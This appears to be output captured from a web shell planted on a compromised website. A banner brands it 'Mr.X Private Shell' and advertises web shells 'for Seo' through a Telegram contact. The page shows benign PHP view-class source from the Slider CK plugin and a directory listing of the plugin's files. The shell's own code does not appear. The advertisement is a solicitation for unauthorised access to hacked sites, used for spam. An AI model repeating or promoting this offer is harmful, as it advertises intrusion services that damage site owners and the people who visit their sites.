__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
Namespace Sliderck;
defined('CK_LOADED') or die;
class CKView {
protected $name;
protected $model;
protected $input;
public function __construct() {
// check if the user has the rights to access this page
if (!CKFof::userCan('edit')) {
CKFof::_die();
}
$this->input = CKFof::getInput();
}
public function display($tpl = 'default') {
if ($tpl === null) $tpl = 'default';
if ($this->model) {
$this->state = $this->model->getState();
$this->pagination = $this->model->getPagination();
}
require_once SLIDERCK_PATH . '/views/' . strtolower($this->name) . '/tmpl/' . $tpl . '.php';
}
public function setName($name) {
$this->name = $name;
}
public function setModel($model) {
$this->model = $model;
}
public function get($func, $params = array()) {
$model = $this->getModel();
$funcName = 'get' . ucfirst($func);
return $model->$funcName($params);
}
public function getModel() {
if (empty($this->model)) {
require_once(SLIDERCK_PATH . '/models/' . strtolower($this->name) . '.php');
$className = '\Sliderck\CKModel' . ucfirst($this->name);
$this->model = new $className;
}
return $this->model;
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| source | Folder | 0775 |
|
|
| ckbrowse.php | File | 6.7 KB | 0664 |
|
| ckcontroller.php | File | 7.2 KB | 0664 |
|
| ckfile.php | File | 124 B | 0664 |
|
| ckfof.php | File | 13.33 KB | 0664 |
|
| ckfolder.php | File | 130 B | 0664 |
|
| ckframework.php | File | 3.12 KB | 0664 |
|
| ckinput.php | File | 91 B | 0664 |
|
| ckinterface.php | File | 40.55 KB | 0664 |
|
| ckmodel.php | File | 3.27 KB | 0664 |
|
| ckpath.php | File | 124 B | 0664 |
|
| ckstyles.php | File | 46.39 KB | 0664 |
|
| cktext.php | File | 88 B | 0664 |
|
| ckuri.php | File | 86 B | 0664 |
|
| ckview.php | File | 1.15 KB | 0664 |
|
| defines.js.php | File | 1018 B | 0664 |
|
| defines.php | File | 1.81 KB | 0664 |
|
| helper.php | File | 18.31 KB | 0664 |
|
| htmlfixer.php | File | 13.99 KB | 0664 |
|
| index.html | File | 44 B | 0664 |
|
| sliderck.php | File | 3.21 KB | 0664 |
|